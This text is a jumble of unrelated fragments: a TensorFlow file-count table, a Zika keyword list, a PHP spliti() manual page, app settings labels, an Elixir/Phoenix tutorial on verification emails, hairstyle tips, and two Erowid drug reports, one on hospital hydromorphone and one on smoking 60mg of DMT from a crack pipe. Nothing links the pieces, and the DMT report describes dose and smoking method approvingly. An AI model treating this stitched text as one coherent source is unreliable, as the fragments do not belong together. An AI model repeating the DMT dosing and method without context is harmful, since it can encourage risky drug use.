| tensorflow/python/framework/dtypes.py |
2 |
| tensorflow/python/framework/load_library.py |
2 |
| tensorflow/python/framework/meta_graph.py |
2 |
| tensorflow/python/framework/random_seed.py |
2 |
| tensorflow/python/framework/tensor_shape.py |
2 |
| tensorflow/python/framework/test_util.py |
2 |
| tensorflow/python/layers/core.py |
2 |
| tensorflow/python/ops/embedding_ops.py |
2 |
| tensorflow/python/ops/gradient_checker.py |
2 |
| tensorflow/python/ops/numerics.py |
2 |
| tensorflow/python/ops/special_math_ops.py |
2 |
| tensorflow/python/ops/string_ops.py |
2 |
| tensorflow/python/platform/app.py |
2 |
| tensorflow/python/saved_model/loader_impl.py |
2 |
| tensorflow/python/saved_model/main_op_impl.py |
2 |
| tensorflow/__init__.py |
1 |
| tensorflow/contrib/__init__.py |
1 |
| tensorflow/contrib/bayesflow/__init__.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/entropy.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/monte_carlo.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/special_math.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/stochastic_gradient_estimators.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/stochastic_graph.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/stochastic_tensor.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/stochastic_variables.py |
1 |
| tensorflow/contrib/bayesflow/python/ops/variational_inference.py |
1 |
| tensorflow/contrib/compiler/__init__.py |
1 |
| tensorflow/contrib/copy_graph/__init__.py |
1 |
| tensorflow/contrib/crf/__init__.py |
1 |
| tensorflow/contrib/cudnn_rnn/__init__.py |
1 |
| tensorflow/contrib/deprecated/__init__.py |
1 |
| tensorflow/contrib/distributions/__init__.py |
1 |
| tensorflow/contrib/distributions/python/ops/bijector.py |
1 |
| tensorflow/contrib/distributions/python/ops/binomial.py |
1 |
| tensorflow/contrib/distributions/python/ops/categorical.py |
1 |
| tensorflow/contrib/distributions/python/ops/dirichlet.py |
1 |
| tensorflow/contrib/distributions/python/ops/dirichlet_multinomial.py |
1 |
| tensorflow/contrib/distributions/python/ops/distribution.py |
1 |
| tensorflow/contrib/distributions/python/ops/mixture.py |
1 |
| tensorflow/contrib/distributions/python/ops/multinomial.py |
1 |
| tensorflow/contrib/distributions/python/ops/poisson.py |
1 |
| tensorflow/contrib/distributions/python/ops/quantized_distribution.py |
1 |
| tensorflow/contrib/distributions/python/ops/transformed_distribution.py |
1 |
| tensorflow/contrib/distributions/python/ops/uniform.py |
1 |
| tensorflow/contrib/factorization/__init__.py |
1 |
| tensorflow/contrib/framework/__init__.py |
1 |
| tensorflow/contrib/framework/python/framework/experimental.py |
1 |
| tensorflow/contrib/framework/python/ops/ops.py |
1 |
| tensorflow/contrib/graph_editor/__init__.py |
1 |
| tensorflow/contrib/grid_rnn/__init__.py |
1 |
| tensorflow/contrib/image/__init__.py |
1 |
| tensorflow/contrib/input_pipeline/__init__.py |
1 |
| tensorflow/contrib/input_pipeline/python/ops/input_pipeline_ops.py |
1 |
| tensorflow/contrib/integrate/__init__.py |
1 |
| tensorflow/contrib/integrate/python/ops/odes.py |
1 |
| tensorflow/contrib/labeled_tensor/__init__.py |
1 |
| tensorflow/contrib/layers/__init__.py |
1 |
| tensorflow/contrib/layers/python/layers/embedding_ops.py |
1 |
| tensorflow/contrib/layers/python/layers/encoders.py |
1 |
| tensorflow/contrib/layers/python/layers/optimizers.py |
1 |
| tensorflow/contrib/learn/__init__.py |
1 |
| tensorflow/contrib/learn/python/learn/datasets/__init__.py |
1 |
| tensorflow/contrib/learn/python/learn/estimators/_sklearn.py |
1 |
| tensorflow/contrib/learn/python/learn/estimators/constants.py |
1 |
| tensorflow/contrib/learn/python/learn/estimators/head.py |
1 |
| tensorflow/contrib/learn/python/learn/estimators/logistic_regressor.py |
1 |
| tensorflow/contrib/learn/python/learn/estimators/prediction_key.py |
1 |
| tensorflow/contrib/learn/python/learn/evaluable.py |
1 |
| tensorflow/contrib/learn/python/learn/experiment.py |
1 |
| tensorflow/contrib/learn/python/learn/export_strategy.py |
1 |
| tensorflow/contrib/learn/python/learn/graph_actions.py |
1 |
| tensorflow/contrib/learn/python/learn/learn_io/__init__.py |
1 |
| tensorflow/contrib/learn/python/learn/metric_spec.py |
1 |
| tensorflow/contrib/learn/python/learn/models.py |
1 |
| tensorflow/contrib/learn/python/learn/ops/__init__.py |
1 |
| tensorflow/contrib/learn/python/learn/preprocessing/__init__.py |
1 |
| tensorflow/contrib/learn/python/learn/trainable.py |
1 |
| tensorflow/contrib/learn/python/learn/utils/__init__.py |
1 |
| tensorflow/contrib/learn/python/learn/utils/input_fn_utils.py |
1 |
| tensorflow/contrib/legacy_seq2seq/__init__.py |
1 |
| tensorflow/contrib/linalg/__init__.py |
1 |
| tensorflow/contrib/linalg/python/ops/linear_operator.py |
1 |
| tensorflow/contrib/linalg/python/ops/linear_operator_composition.py |
1 |
| tensorflow/contrib/linalg/python/ops/linear_operator_diag.py |
1 |
| tensorflow/contrib/linalg/python/ops/linear_operator_matrix.py |
1 |
| tensorflow/contrib/linalg/python/ops/linear_operator_tril.py |
1 |
| tensorflow/contrib/linear_optimizer/__init__.py |
1 |
| tensorflow/contrib/linear_optimizer/python/ops/sdca_ops.py |
1 |
| tensorflow/contrib/linear_optimizer/python/ops/sparse_feature_column.py |
1 |
| tensorflow/contrib/linear_optimizer/python/sdca_optimizer.py |
1 |
| tensorflow/contrib/lookup/__init__.py |
1 |
| tensorflow/contrib/losses/__init__.py |
1 |
| tensorflow/contrib/metrics/__init__.py |
1 |
| tensorflow/contrib/metrics/python/metrics/classification.py |
1 |
| tensorflow/contrib/metrics/python/ops/confusion_matrix_ops.py |
1 |
| tensorflow/contrib/metrics/python/ops/histogram_ops.py |
1 |
| tensorflow/contrib/ndlstm/python/__init__.py |
1 |
| tensorflow/contrib/nn/__init__.py |
1 |
| tensorflow/contrib/opt/__init__.py |
1 |
| tensorflow/contrib/opt/python/training/moving_average_optimizer.py |
1 |
| tensorflow/contrib/opt/python/training/variable_clipping_optimizer.py |
1 |
| tensorflow/contrib/quantization/__init__.py |
1 |
| tensorflow/contrib/rnn/__init__.py |
1 |
| tensorflow/contrib/rnn/python/ops/core_rnn_cell.py |
1 |
| tensorflow/contrib/rnn/python/ops/gru_ops.py |
1 |
| tensorflow/contrib/seq2seq/__init__.py |
1 |
| tensorflow/contrib/seq2seq/python/ops/loss.py |
1 |
| tensorflow/contrib/seq2seq/python/ops/seq2seq.py |
1 |
| tensorflow/contrib/session_bundle/__init__.py |
1 |
| tensorflow/contrib/slim/__init__.py |
1 |
| tensorflow/contrib/solvers/__init__.py |
1 |
| tensorflow/contrib/specs/python/__init__.py |
1 |
| tensorflow/contrib/stat_summarizer/__init__.py |
1 |
| tensorflow/contrib/tensor_forest/__init__.py |
1 |
| tensorflow/contrib/tensorboard/__init__.py |
1 |
| tensorflow/contrib/testing/__init__.py |
1 |
| tensorflow/contrib/tfprof/__init__.py |
1 |
| tensorflow/contrib/training/__init__.py |
1 |
| tensorflow/contrib/util/__init__.py |
1 |
| tensorflow/contrib/util/loader.py |
1 |
| tensorflow/core/__init__.py |
1 |
| tensorflow/core/framework/graph_pb2.py |
1 |
| tensorflow/core/protobuf/meta_graph_pb2.py |
1 |
| tensorflow/core/protobuf/saver_pb2.py |
1 |
| tensorflow/python/__init__.py |
1 |
| tensorflow/python/debug/__init__.py |
1 |
| tensorflow/python/debug/cli/__init__.py |
1 |
| tensorflow/python/debug/lib/__init__.py |
1 |
| tensorflow/python/debug/wrappers/__init__.py |
1 |
| tensorflow/python/debug/wrappers/dumping_wrapper.py |
1 |
| tensorflow/python/debug/wrappers/local_cli_wrapper.py |
1 |
| tensorflow/python/framework/constant_op.py |
1 |
| tensorflow/python/framework/errors.py |
1 |
| tensorflow/python/framework/graph_io.py |
1 |
| tensorflow/python/framework/graph_util.py |
1 |
| tensorflow/python/framework/importer.py |
1 |
| tensorflow/python/layers/layers.py |
1 |
| tensorflow/python/layers/normalization.py |
1 |
| tensorflow/python/lib/io/python_io.py |
1 |
| tensorflow/python/ops/confusion_matrix.py |
1 |
| tensorflow/python/ops/histogram_ops.py |
1 |
| tensorflow/python/ops/image_ops.py |
1 |
| tensorflow/python/ops/logging_ops.py |
1 |
| tensorflow/python/ops/losses/losses.py |
1 |
| tensorflow/python/ops/metrics.py |
1 |
| tensorflow/python/ops/nn.py |
1 |
| tensorflow/python/ops/rnn_cell_impl.py |
1 |
| tensorflow/python/ops/script_ops.py |
1 |
| tensorflow/python/ops/sdca_ops.py |
1 |
| tensorflow/python/ops/sets.py |
1 |
| tensorflow/python/ops/summary_ops.py |
1 |
| tensorflow/python/ops/template.py |
1 |
| tensorflow/python/ops/tensor_array_ops.py |
1 |
| tensorflow/python/platform/benchmark.py |
1 |
| tensorflow/python/platform/flags.py |
1 |
| tensorflow/python/saved_model/builder.py |
1 |
| tensorflow/python/saved_model/builder_impl.py |
1 |
| tensorflow/python/saved_model/constants.py |
1 |
| tensorflow/python/saved_model/loader.py |
1 |
| tensorflow/python/saved_model/main_op.py |
1 |
| tensorflow/python/saved_model/saved_model.py |
1 |
| tensorflow/python/saved_model/signature_constants.py |
1 |
| tensorflow/python/saved_model/signature_def_utils.py |
1 |
| tensorflow/python/saved_model/tag_constants.py |
1 |
| tensorflow/python/saved_model/utils.py |
1 |
| tensorflow/python/saved_model/utils_impl.py |
1 |
| tensorflow/python/summary/summary_iterator.py |
1 |
| tensorflow/python/summary/writer/writer.py |
1 |
| tensorflow/python/training/adadelta.py |
1 |
| tensorflow/python/training/adagrad.py |
1 |
| tensorflow/python/training/adagrad_da.py |
1 |
| tensorflow/python/training/adam.py |
1 |
| tensorflow/python/training/basic_loops.py |
1 |
| tensorflow/python/training/device_setter.py |
1 |
| tensorflow/python/training/ftrl.py |
1 |
| tensorflow/python/training/gradient_descent.py |
1 |
| tensorflow/python/training/momentum.py |
1 |
| tensorflow/python/training/moving_averages.py |
1 |
| tensorflow/python/training/optimizer.py |
1 |
| tensorflow/python/training/proximal_adagrad.py |
1 |
| tensorflow/python/training/proximal_gradient_descent.py |
1 |
| tensorflow/python/training/queue_runner.py |
1 |
| tensorflow/python/training/rmsprop.py |
1 |
| tensorflow/python/training/session_manager.py |
1 |
| tensorflow/python/training/supervisor.py |
1 |
| tensorflow/python/training/sync_replicas_optimizer.py |
1 |
| tensorflow/python/training/training.py |
1 |
| tensorflow/python/user_ops/user_ops.py |
1 |
| tensorflow/tools/__init__.py |
1 |
| Grand Total |
1137 |
|
|


ZIKV virus Zika urine infection samples serum Patient patients cases days New detected reported French RNA confirmation indicate rash samples. Dis. Infect detection observed > Emerg Polynesia Urine diagnostic onset real-time showed Detection Figure). [./eid.] dengue disease load longer outbreak positive viral


Write a script that creates 5 div elements and moves them in circular path with interval of 100 milliseconds


How does it work?
This website displays a tweet classification made with machine learning techniques.
In few words, this is how it works:
- We retrieve the recents tweets of all the people your are following
- We explore these tweets and the metadata of the link they refers to
- We contruct a graph in which two users we be close and hence connected, if they use the same terms in their tweets
- We use a machine learning technique called spectral clustering to find clusters in this graph
- We display tweets by users in their respective cluster


spliti
(PHP 4 >= 4.0.1, PHP 5)
spliti — 用正则表达式不区分大小写将字符串分割到数组中
说明
array spliti ( string $pattern , string $string [, int $limit = -1 ] )
用正则表达式将一个 string 分割成数组。
本函数和 split() 相同，只除了在匹配字母字符时忽略大小写的区别。
Warning
自 PHP 5.3.0 起，已经废弃此函数。强烈建议不要应用此函数。
参数
pattern
大小写不敏感的正则表达式。
If you want to split on any of the characters which are considered special
by regular expressions, you'll need to escape them first. If you think
spliti() (or any other regex function, for that matter) is doing something
weird, please read the file regex.7, included in the regex/ subdirectory of
the PHP distribution. It's in manpage format, so you'll want to do
something along the lines of man /usr/local/src/regex/regex.7 in order to
read it.
string
输入的字符。
limit
如果设置了 limit，返回的数组最多会包含 limit 个元素，最后一个元素包含了剩下
的全部 string。
返回值
Returns an array of strings, each of which is a substring of string formed by
splitting it on boundaries formed by the case insensitive regular expression
pattern.
If there are n occurrences of pattern, the returned array will contain n+1
items. For example, if there is no occurrence of pattern, an array with only
one element will be returned. Of course, this is also true if string is empty.
If an error occurs, spliti() returns FALSE.
范例
本例用 'a' 做分隔符来分割一个字符串：
Example #1 spliti() 例子
以上例程会输出：
Array
(
[0] =>
[1] => BBB
[2] => CCC
[3] => DDD
[4] => EEEaGGGA
)
注释
Note:
在 PHP 5.3.0 中，已放弃使用 regex 扩展而建议使用 PCRE 扩展。调用此函数将会
发出 E_DEPRECATED 通知。参见“差异列表”可帮助你转为使用 PCRE。
参见
• preg_split() - 通过一个正则表达式分隔字符串
• split() - 用正则表达式将字符串分割到数组中
• explode() - 使用一个字符串分割另一个字符串
• implode() - 将一个一维数组的值转化为字符串
User Contributed Notes 3 notes
===============================================================================
To split $cartes which contains data and tabulations:
Doesnt work :
$tab_cartes = split("\\t",$cartes );
But \t = char(9), so, works well:
$tab_cartes = split(Chr(9),$cartes);
Idem for :
\n = char(10)
\r = char(13)
Found in http://www.asp-magazine.com/fr/asp/blitz/blitz4.asp
===============================================================================
This example shows the use of spliti.
Here it splits the path of the server as it can be used further.
";
echo "Request mode: ".$_SERVER["REQUEST_METHOD"]."
";
$daten = spliti ("/", $path);
echo "get-daten[1] ".$daten[1]."
";
if($_SERVER["REQUEST_METHOD"]== "POST"){
echo "POST".$daten[1];
$seq->setzeSequence($daten[1], $_POST["xml"]);
}
elseif($_SERVER["REQUEST_METHOD"] == "DELETE"){
echo "DELETE".$daten[1];
$seq->loescheSequence($daten[1]);
}
elseif($_SERVER["REQUEST_METHOD"] == "GET"){
$antwort = $seq->holeSequence($daten[1]);
echo "antwort[0]: ".$antwort[0]."
";
foreach($antwort as $mes){
echo "mes ".$mes."
";
}
}
?>
===============================================================================
When using special characters such as the tab placeholder "\t" in the split
function, be careful not to escape the slash by adding a slah in front of it.
To signify a tab, new line or carriage return use only one slash in front of
the character. For example:
$cartes= "one\ttwo\tthree";
$tab_cartes = split("\t",$cartes );
$items = count($tab_cartes);
for ($x = 0; $x < $items; $x++)
{ echo $tab_cartes[$x] . "\n"; }


Back
Settings
General
Streamlabs Tokens
Port
Timer Widget
Initial Time (minutes)
Additional Time Tier 1 (seconds)
Additional Time Tier 2 (seconds)
Additional Time Tier 3 (seconds)
Graph Timespan (seconds)
Graph Refresh (seconds)
Save Timer History
Timer History Interval (seconds)
Save Sub History
Timer History Widget
Show Total Time
Reset Timer History
Export Timer History Graph
Sub History Widget
Show Total Sub Count
Sub History Refresh (seconds)
Reset Sub History
Export Sub History Graph
Colors (All Widgets)
Background Color
Line Color
Timer Color
Timer Shadow Color
Webhooks
Enable Timer Webhook
Webhook URL
Webhook Trigger Time
Submit


{% extends "default.html" %} {% block content %}
This is another page. Take a look at the footer below: it has been replaced from inside the item itself through template inheritance.
{% endblock %} {% block footer %}Hello from example.html!
{% endblock %}


Organic Food Isn’t More Nutritious § SEEDMAGAZINE.COM
“…organically and conventionally produced crops and livestock products are broadly comparable in their nutrient content.”
“…organically and conventionally produced crops and livestock products are broadly comparable in their nutrient content.”


Implementation of Mapped Diagnostic Contexts.
For a list of all members of this type, see MDC Members.
System.Object
log4net.MDC
This type is safe for multithreaded operations.
NoteThe MDC is deprecated and has been replaced by the Properties. The current MDC implementation forwards to the
ThreadContext.Properties
.
The MDC class is similar to the NDC class except that it is based on a map instead of a stack. It provides mapped diagnostic contexts. A Mapped Diagnostic Context, or MDC in short, is an instrument for distinguishing interleaved log output from different sources. Log output is typically interleaved when a server handles multiple clients near-simultaneously.
The MDC is managed on a per thread basis.
Namespace: log4net
Assembly: log4net (in log4net.dll)
MDC Members | log4net Namespace


Octet data browser using jstree.
This code, a hack of the jstree demo, browses objects in the octet graph.


--- layout: home title: Bootstrap ---
Sleek, intuitive, and powerful mobile-first front-end framework for faster and easier web development.
Built at Twitter by @mdo and @fat, Bootstrap utilizes LESS CSS, is compiled via Node, and is managed through GitHub to help nerds do awesome stuff on the web.
Bootstrap 3 has been rebuilt from the ground up to push the Web forward. It looks and behaves great on the latest smartphones, tablets, and desktops (including support for IE8+).


All-one-length hair that falls below the shoulder generally is not flattering to most facial types so try experimenting with bangs if you are not a fan of layers and want to keep your locks long.
Long Bob is one of the best hair styles.This hairstyle creates a straight line down to both sides of our face which looks really nice.
There is more than one way to flatter a heart-shaped face though! Ultimately, the key to finding the perfect long hairstyle for women with heart-shaped faces is Long pin-up curls.
This hairstyle adds subtle layers throughout the length of hair to get volume and prevent hair from falling flat at the sides which is something that any woman, with any facial shape will definitely want to avoid!
For a more toned down version, you should definitely hold onto the side swept bangs, then just work with all of the volume that you can get naturally in your hair.
A classic short hairstyle where the ends are cut to around jaw-level and aligned close to the facial area. This style is most common among women.
A hairstyle wherein the hair is twisted behind the head into a sort of bun style.
A French braid is a braid that appears to be braided into the hair, often described as braided backwards—strands, going over instead of under as in a Dutch braid.
Hair that is combed to the front of the head and cut at or above the eyebrows.
| BACK | APPOINTMENT |


We're really starting to get to know each other, hm? Having gone through writing an auth token library in parts 1 and 2, and the first steps towards protecting our API with an auth process in part 3.
With part 4 now, we're adding an old but proven technique in the world of technology: emails! This will lead us to choosing an e-mail library, integrating it with Phoenix templates and translating those with gettext. Verification e-mails will also allow us to actually test the verification and implement it fully.
Why even email verifications?
Email verifications start to seem like something that's done just because That's How It's Always Been, so why not look at the rationale behind it.
Securing access for an encrypted application is of utmost importance, as losing your password means losing access, and losing access means losing your data - forever and for good. If it were trivial to recover your data without it, the encryption wouldn't be doing anything useful other than playing the role of a fancy door guard. There are some recovery methods bound to the email, so ensuring that you entered the correct email address and ensuring that you have access to it is sensible.
Other use-cases are two-factor authentication over e-mail and password-less login systems where you just get a special short-lived login link per e-mail, like in Medium. So in short, a verification process still makes sense and provides real value.
Collecting resources
If we want to send out e-mails we can either implement our own library, which why you would ever do that is beyond me, or choose an existing one, of which there are plenty! There's 3 big ones, that I've seen recommended mostly:
They are supposed to execute a very specific task, so naturally they are very similar, with bamboo and swoosh being almost the same. They all support sending via SMTP - if you include the corresponding submodule - they all support HTML with Phoenix templates, and they all provide testable mail structures. Choosing between similar libraries is always an annoying endeavour, so the criterion I decided to base my choice on was most activity lately: swoosh.
With that out of the way, our additions to mix.exs
look like this:
{:swoosh, "~> 0.13"},
{:phoenix_swoosh, "~> 0.2"},
{:gen_smtp, "~> 0.12"},
{:gettext, "~> 0.14"},
Gettext
People have this thing, where they come from different countries and different cultures, and thus don't all stick to one single language or punctuation system or even date format.  I speak from experience.
Just imagine having to go through a few hundred files replacing strings with calls to a translation library, moving all those already translated strings to an external database and no, you don't have an intern you can push this off to. You have to do it. It's no fun.
Gettext is the default way to add localization to your Phoenix app, which is accessible via the :gettext
package, which in turn provides a GNU gettext like API for you to use.
Sending mail
Preparations done, now it's time for ~action~more preparation. The mail package still needs some setting up, otherwise it won't know how to send mails, from where to send them and which credentials to use.
In config.exs
goes the definition for the mail adapter we want to use.
With our projects we usually use SMTP over our existing external mail infrastructure.
config :sealas_sso, SealasSso.Mailer,
adapter: Swoosh.Adapters.SMTP
For production there's already a prod.secret.exs
in the config folder, but for this and some other cases it's useful to have one for the development environment.
Even then I want to save credentials for services that I might not want to push to a public or even private versioning system.
So to dev.exs
I add the line import "config.secret.exs"
and then the corresponding file, with the the mail config.
config :sealas_sso, SealasSso.Mailer,
relay: "mail.server.com",
username<EMAIL_ADDRESS>password: "Wicked Secure appPassPhrase",
ssl: true
The test environment will need a separate config, as you probably don't want to send out e-mails with every test run.
Swoosh provides a test adapter for use here, so we're going to put that in our test.exs
:
config :sealas_sso, SealasSso.Mailer,
adapter: Swoosh.Adapters.Test
Configuration done, setup not quite yet. Mail composition and delivery are two separate components with Swoosh, and each app needs to define their own mail delivery module. It's very short though:
defmodule SealasSso.Mailer, do: use Swoosh.Mailer, otp_app: :sealas_sso
Sending emails with Phoenix templates
Now we can finally get to sending our sweet, sweet mails.
Since our project is fully based on Phoenix, we can take advantage of the existing template framework to power the HTML version of our mails.
With that in mind, we're going to use Phoenix.Swoosh
and declare the the view modules for the views and layout.
defmodule SealasSso.MailView, do: use SealasSso, :view
defmodule SealasSso.LayoutView, do: use SealasSso, :view
defmodule SealasSso.UserMail do
use Phoenix.Swoosh, view: SealasSso.MailView, layout: {SealasSso.LayoutView, :mail}
import SealasSso.Gettext
end
Our SealasSso.UserMail
module is now ready to contain our mails.
Looking at the docs, the general pattern for building them is always the same: create a new mail object and chain together the calls to add features and options.
mail = new()
|><EMAIL_ADDRESS>|> from({"Mailer"<EMAIL_ADDRESS>|> subject("Hey there")
|> render_body(:template_name)
Since we're going to have different mails sent from this part of our app, with the same set of header parameters but different bodies, we can extract this part and put it in a generalized prepare/1
function.
In this case we always want to extract the recipient from a user object, as well as use the same sender, like "Sealas Support<EMAIL_ADDRESS>In general I would say it is better UX design to provide a "From" email address that is actually in use. A "no-reply@" address is just making the process of calling for support more obtuse; especially in case of service mails that are easier to understand if context is provided automatically by the reply function of every mail client. It doesn't matter if the footer provides an explanation like
This is an automatically generated email. Please do not reply here. If you need help write to<EMAIL_ADDRESS>Don't be obtuse, just use the email that is actually in use. It rhymes so it must be true.
defp prepare(user) do
mail = new()
|> to(user.email)
|> from(Application.get_env(:sealas_sso, SealasSso.Mailer)[:from])
|> assign(:app_uri, Application.get_env(:sealas_web, SealasWeb.Endpoint)[:app_uri])
|> assign(:static_uri, Application.get_env(:sealas_web, SealasWeb.Endpoint)[:static_uri])
end
The assign/2
function allows us to transmit information for use in our email's content.
In this case we almost always want to include some links to the app or the website, so we can make those available for use out of the config files - and more importantly, make them easier to change by having them in a config file and not hard-coded directly in the templates.
Account verification mail
Let's look at one example, the mail sent out to verify the email account.
Using the set up mail from the prepare/1
function the only things missing are the subject and content.
def verification(user) do
prepare(user)
|> subject(dgettext "mail", "verification_subject")
|> render_body(:verification, user: user)
end
Well, that was easy.
Calling the function from iex -S mix
shows us a working email generation process (shortened for clarity):
iex|1 > SealasSso.UserMail.verification(%{email<EMAIL_ADDRESS>activation_code: "1234"})
%Swoosh.Email{
assigns: %{
app_uri: "http://app.sealas.local",
layout: {SealasSso.LayoutView, "mail.text"},
static_uri: "http://static.sealas.local",
user: %{activation_code: "1234", email<EMAIL_ADDRESS>},
from: {"Sealas"<EMAIL_ADDRESS>subject: "Verify your Sealas account",
text_body: "Just one more step before you can get started.
Copy the code below in the verification box:\r\n1234\r\nOr use this to go directly to the verification:\r\nhttp://app.sealas.local/user/verification?u=1234\r\n\r\nAfter the verification you can set a password for your account and start using Sealas.\r\n--\r\n\r\nSealas - Secure Easy And Lovely Accounting Software\r\n\r\nhttps://sealas.at/\r\n",
}
The subject line here is just a replacement key to gettext, called here with dgettext
which translates to "domain restricted gettext".
This in turn allows us to specify the domain, or more simply put the translation file, from which we want to get the translation; in this case mail
or mail.po
.
The translations are all located in apps/[app_name]/priv/gettext/[locale]/LC_MESSAGES/[domain].po
Calling the function and sending an email with it is equally easy.
You get the built up mail structure, pipe it to your mailer module and call the delivery function deliver/0
.
SealasSso.UserMail.verification(%{email: user.email, activation_code: code_hash})
|> SealasSso.Mailer.deliver
At some point though it's going to be a pain to have to verify all emails by having them sent out and looked at. If only there was an easier way...
Testing mails!
Emails in applications being a thing that I write so automatized, it never occurred to me to have testable emails, so I didn't even try to do any TDD with it. I also don't want to pretend to have done so here, so I'll include the tests after having done the implementation.
Now that we know how to do it though, and see that those tests are actually pretty sensible and usable and really easy to write, we can certainly use this pattern to build the tests for our mails first in the future.
Step 1: import Swoosh.TestAssertions
Step 2: ???
Step 3: assert_email_sent UserMail.verification(mail_params)
Luckily we can try and recreate the elusive second step in our three step program to profit.
In the first step we simply import the set of test assertions in the beginning of our module, which grants us access to assert_email_sent
.
Then comes the part where we append that assertion to our test for trying to register as a new user.
There we take the returned activation code and used email address to confirm the email that has been sent out with the content we expect.
In full this looks like this:
test "register as a new user", %{conn: conn} do
conn = post conn, registration_path(conn, :create), user: @registration_attrs
assert %{"activation_code" => activation_code} = json_response(conn, 201)
mail_params = %{email: @registration_attrs.email, activation_code: activation_code}
assert_email_sent SealasSso.UserMail.verification(mail_params)
end
Mail templates
Finally let's look at the templating for mails.
First the layout files.
The naming scheme is [name].[type].eex
which in our case translates to two files mail.html.eex
and mail.text.eex
.
Using both HTML and text layouts makes us send out multi-part emails, so people who don't like HTML mails can read your mails too.
The text version of your email is also usually used to generate the preview text in most email clients, which sometimes just contains a friendly but entirely useless message reading
Click here to view our e-mail in all its HTML glory!
Providing a proper text version of your emails is not that hard most of the time, so just do it.
Back to the layouts; we defined the name of the layout file at the top of SealasSso.UserMail
:
use Phoenix.Swoosh, view: SealasSso.MailView, layout: {SealasSso.LayoutView, :mail}
The content of the layout files is best presented by example using the text version of the layout, simply because it has so little HTML-y clutter.
<%= render @view_module, @view_template, assigns %>
--
This is a service email signature
Sealas - Secure Easy And Lovely Accounting Software
https://sealas.at/
So, as you can see the only really important thing here is the place where you want to put the final template containing the actual content.
The templates for the separate mails have the same naming scheme, and are placed in templates/mail/[name].[type].eex
.
<%= dgettext "mail", "verification_one_more_step" %>
<%= @app_uri %>/user/verification?u=<%= @user.activation_code %>
Templates already have gettext available by default, so we can access its functions just as we do outside.
Calls prefixed with are to variables bound to the mail;
app_uri
is passed on by our prepare/1
function and the user
object directly in the call to render_body
: |> render_body(:verification, user: user)
.
Finally, here's the finished mail in all its HTML glory, delivered directly to my inbox - and maybe your's soon too!
With this we're done having a basic functional infrastructure for sending out mails.
Next time we're going to finish this series on authentication with a discussion and deeper look at account creation and various backend storage strategies when you want to go for an offline first strategy.


I’m a developer who’s passionate about making a difference.
If you have a project you're working on (or want to start) and need an extra hand, please feel free to reach out to me!
Thanks for visiting Time2Jam! Come back soon!


I had surgery for my shoulder a month ago, and I was put in this enormous brace, restraining movement for a month. It was very uncomfortable and the swelling and pain was immense. They gave me 2 oxycodones every 4 hours, that didn't do a thing. I told the nurse I was still having pain, and she gave me 4ml of morphine into my muscle, and not through the IV. That still didn't kill the pain, just made me sleepy. She gave me 2ml more. 3 hours after the anesthesia block wore away, the pain was extraordinary.
That was all the doctors or nurses were aloud to do. Morphine should work. Well, not in my case. Only the doctor could give me the morphine, and I don't know if they thought I was faking it or what, but it sure did hurt. They decided to take me back to the recovery room to put me on some heavy duty anesthesia that only my anesthesiologist from the surgery could give me.
I recall hearing the name starting with D, happened to be Dilaudid, which is Hydromorphone. They put me on a pump, giving me 10ml every hour, and I had a button, if I needed more, it would give me 2ml only once every 10 minutes, and no more than 5 times an hour. That really killed the pain. I got to go up to my room in the hospital, but I had to be put on monitors and such.
After I came back to the room, it was no longer giving me the 10ml every hour, and so I ended up pressing it non-stop, wanting more to kill the pain.
It did, but the time spans in between the doses weren't stressful.
I felt very woozy, the air seemed to vibrate like on LSD, trails of movement. If I moved my head, everything stood still, and only then my vision shifted and very quickly. It was heavy stuff.
It also helped me get to sleep. But these dreams were incredible. The second I closed my eyes, I was dreaming, but in this dream I feel like I just opened my eyes. As if my dream was where I woke up from a dream. It seemed so realistic, because I couldn't get any deep sleep and I was used to waking every so often, but I was well rested and each 30min of sleep felt like a whole night, so by the end of the day I felt like I was in the hospital for a week.
I still hadn't eaten anything or barely drank. It was all going through my IV.
Back to the dream. I felt as if I had just awoke. I feel like I get up, which at that point I was unable to do, or found very difficult. And I would take a stroll around the hospital, maybe jog a little, and come back to my room. But suddenly in my bed, I see a 6 foot glass of milk. So I'm confused at what to do. I wake up, shouting, 'why milk???'. That seemed odd.
I vaguely recall many of my other dreams, but they incorporated absurdly random things. Each dream may have no lasted more than 30 seconds. The moment I closed my eyes I was dreaming something different, which I would describe to the amusement of my family.
It was fun without the pain, but in the intervals between it, the pain was quite intense. I am now just out of the brace, and the pain is coming back. They gave me a prescription for oxycodone, that I ran through a while ago when it wasn't working. I went to my doctor and got roxicodone prescribed, which was very difficult to get at the pharmacy WITH a prescription.
I still have some left, but I no longer have my hands on it.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Welcome
Ready to test your knowledge of local flora? Click "Start Quiz" to get started!
Test Your Knowledge!
Click submit to check
Click submit to check
Click submit to check
Ready to test your knowledge of local flora? Click "Start Quiz" to get started!
Click submit to check
Click submit to check
Click submit to check


Things I Love to do...
"You can be soft and successful, a traditionalist and a rebel, a lover and a fighter, vulnerable and invincible "
"Blessed are the curious for they will have Adventures"
"When the WHY is clear, the HOW is easy"


I have smoked DMT 7 times and 1 of those times was the most intense soul shattering experience of my life. 60mg in a crack pipe smoked in 2 huge tokes. Held first hit in until I had full body vibrations and OEV. Blew out the hit then immediately hit the pipe and got a HUGE second hit. I do not remember blowing this hit out. I heard high pitch voice say 'who are you' and I knew this voice was implying that we were going to find out.
I know it might sound funny but at this point I came into contact with the classic elves that Terence always talked about. They are real. They came tumbling across my vision, morphing into themselves. Some of them came towards me, and entered my being. Their voices were high pitched and their song sounded very alien like and very old. At this point I would say no more than 2 minutes has passed since blastoff. The elves presence continuing to build to a unbearable frenzy is the last thing I remember before I died. I didn't think but I KNEW that I had in fact died. I entered into what I would call an eternal loop. It never ended. I feel a piece of me is still THERE.
